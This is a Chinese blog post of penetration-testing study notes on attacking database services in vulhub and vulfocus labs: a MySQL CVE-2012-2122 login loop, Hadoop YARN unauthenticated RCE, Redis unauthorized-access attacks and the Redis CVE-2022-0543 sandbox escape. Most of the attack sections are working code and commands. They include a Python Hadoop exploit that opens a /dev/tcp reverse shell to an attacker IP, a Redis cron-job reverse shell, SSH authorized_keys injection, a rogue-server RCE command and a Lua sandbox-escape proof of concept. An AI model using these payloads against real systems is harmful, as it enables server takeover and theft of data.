chenhongl

导航

 

#知识点:
1、服务攻防-数据库类型安全
2、Redis&Hadoop&Mysql安全
3、Mysql-CVE-2012-2122漏洞
4、Hadoop-配置不当未授权三重奏&RCE漏洞
3、Redis-配置不当未授权三重奏&RCE两漏洞

#章节内容:
常见服务应用的安全测试:
  1、配置不当-未授权访问(默认配置、修改配置)
  2、安全机制-特定安全漏洞(软件自身的漏洞)
  3、安全机制-弱口令爆破攻击

#前置知识:
应用服务安全测试流程:(有才能测试)见图
  第一步:判断服务开放情况 - 端口扫描(工具:Nmap、mapscan等)、组合猜测、信息来源(报错、扫描等)等
  第二步:判断服务类型归属 - 数据库传输、文件传输、通讯等
  第三步:判断服务利用方式 - 服务应用特定漏洞、未授权访问、弱口令等

开了服务,但是端口没有扫描到,可能的原因:
1.内网环境 2.修改了端口 3.防火墙waf

 

一、Mysql - 未授权访问-CVE-2012-2122利用

1、漏洞简介:当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库

 

受影响的版本:

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.

MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

 

2、启动环境:

cd vulhub-master/mysql/CVE-2012-2122

sudo docker-compose up -d

复现环境:vulhub

参考:https://vulhub.org/#/environments/mysql/CVE-2012-2122/

 

3、漏洞复现

先判断服务开放情况 - 端口扫描

在线扫描:http://coolaf.com/zh/tool/port 

发现开放端口:3306 -> mysql数据库

漏洞测试,在kali中执行:for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.233.128 -P3306 ; done

虽然是错误的密码,但不断重复的尝试登录,最后直接就登录成功了

 

 二、关于mysql数据库弱口令猜解

mysql数据库弱口令猜解需要满足一定的条件,因为mysq默认配置root用户只允许本地登录,远程的连接是拒绝的(不能直接爆破)
mysql数据库弱口令猜解需要借助phpmyadmin猜解
phpmyadmin是第三方的数据库管理应用,搭建在对方的服务器上
在phpmyadmin输入账号和密码登录mysql数据库时,请求是从phpmyadmin发出的,就相当于是由本地到本地的过程,所以可以进行测试

怎样判断是否提供了phpmyadmin的登录页面?搜索 inurl:phpmyadmin

 

 

三、Hadoop数据库 - 未授权访问-内置配合命令执行RCE

Hadoop默认端口:50010

 

复现环境:

  在线靶场:http://vulfocus.io/
  本地搭建靶场:https://vulhub.org/#/environments/hadoop/unauthorized-yarn/

启动环境:
  cd /vulhub-master/hadoop/unauthorized-yarn
  sudo docker-compose up -d

然后在网上找exp:https://www.cnblogs.com/cute-puli/p/14944637.html

 

漏洞复现:

① 访问/cluster/apps页面:(该页面存在说明存在未授权访问漏洞)

可以看到在没有输入任何口令的情况下未授权访问了

 

② 写exp脚本,放在目标机器上:

# hadoop-exp.py

import requests

target = 'http://127.0.0.1:8088/'   #目标地址
lhost = '47.94.236.117'   #攻击者主机(需要是外网服务器),监听端口9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,  #监听的端口9999
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

执行exp:
C:\python hadoop-exp.py

 

③攻击机开启监听(执行exp之前开启监听)

nc -lvvp 9999

 

四、Redis-未授权访问-Webshell&任务&密匙&RCE等

redis默认端口:6379

1、检测目标主机的端口6379是否开放

2、安装redis:

  1、下载
  wget http://download.redis.io/releases/redis-2.8.17.tar.gz
  2、解压编译
  tar xzvf redis-2.8.17.tar.gz #解压安装包
  cd redis-2.8.17 # 进入redis目录
  make #编译
  3、配置及启动
  cd src/ #进入src目录
  cp redis-server /usr/bin/
  cp redis-cli /usr/bin/ #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
  cd .. # 返回上一级目录
  cp redis.conf /etc/ #将redis.conf拷贝到/etc/目录下
  redis-server /etc/redis.conf # 使用/etc/目录下的redis.conf文件中的配置启动redis服务

3、redis未授权访问:为什么会导致未授权访问,要同时满足3个条件
  ① 进入到配置文件 /etc/redis.config,注释这一行
  # bind 127.0.0.1  (如果开启的话,只允许本地用户访问)
  ② .protected-mode no(安全模式设置为no)
  ③ 没有设置密码(redis安装后默认是没有设置密码的)

        

 

4、尝试用空密码连接到redis的服务器

用到环境http://vulfocus.io/#/dashboard

5、用redis连接终端,连接数据库:redis-cli -h 175.178.151.29  

  1、写Webshell 需得到Web路径
  利用条件:知道它的web目录的位置,Web目录权限可读写
  config set dir /tmp  #设置WEB写入目录tmp取代web目录
  config set dbfilename 1.php  #设置写入文件名
  set test "<?php phpinfo();?>" #设置写入文件代码
  bgsave #保存执行
  save #保存执行
  注意:部分没目录权限读写权限

  可以在服务器上看到1.php的存在

  2、写定时任务反弹shell
  利用条件:
    1.允许异地登录
    2.安全模式protected-mode处于关闭状态

  执行命令:
    config set dir /var/spool/cron
    set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.100.167.248/1111 0>&1\n\n\n"
    config set dbfilename x
    save
    注意:
      centos会忽略乱码去执行格式正确的任务计划
      而ubuntu并不会忽略这些乱码,所以导致命令执行失败

  ③ 47.100.167.248执行:
    nc -lvvp 1111

  执行完后写入了文件

 

  3、写入Linux ssh-key公钥
  利用条件:
    1.允许异地登录
    2.Redis服务使用ROOT账号启动
    3.安全模式protected-mode处于关闭状态
    4.允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

  在kali主机中执行:
    ssh-keygen -t rsa
    cd /root/.ssh/
    (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
    cat key.txt | redis-cli -h 175.178.151.29 -x set xxx

  连接到175.178.151.29中执行:
    redis-cli -h 175.178.151.29
    config set dir /root/.ssh/
    config set dbfilename authorized_keys
    save

  在kali中连接:
  cd /root/.ssh/
  ssh -i id_rsa root@175.178.151.29

  4、RCE自动化利用脚本-vulfocus(需要版本4.x和5.x)

  利用到工具:https://github.com/vulhub/redis-rogue-getshell
  参考文章:https://vulhub.org/#/environments/redis/4-unacc/

  上传到175.178.151.29服务器中,然后执行:
  python redis-master.py -r 123.58.236.76 -p 56879 -L 47.100.167.248 -P 1111 -f RedisModulesSDK/exp.so -c "id"  

 

五、新漏洞-沙箱绕过RCE CVE-2022-0543-vulfocus
参考:https://vulhub.org/#/environments/redis/CVE-2022-0543/
Poc:执行id命令
连接到redis,执行;
redis-cli -h 123.58.236.76 -p 8736
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

 

 

posted on 2024-07-05 16:30  chenhongl  阅读(215)  评论(0)    收藏  举报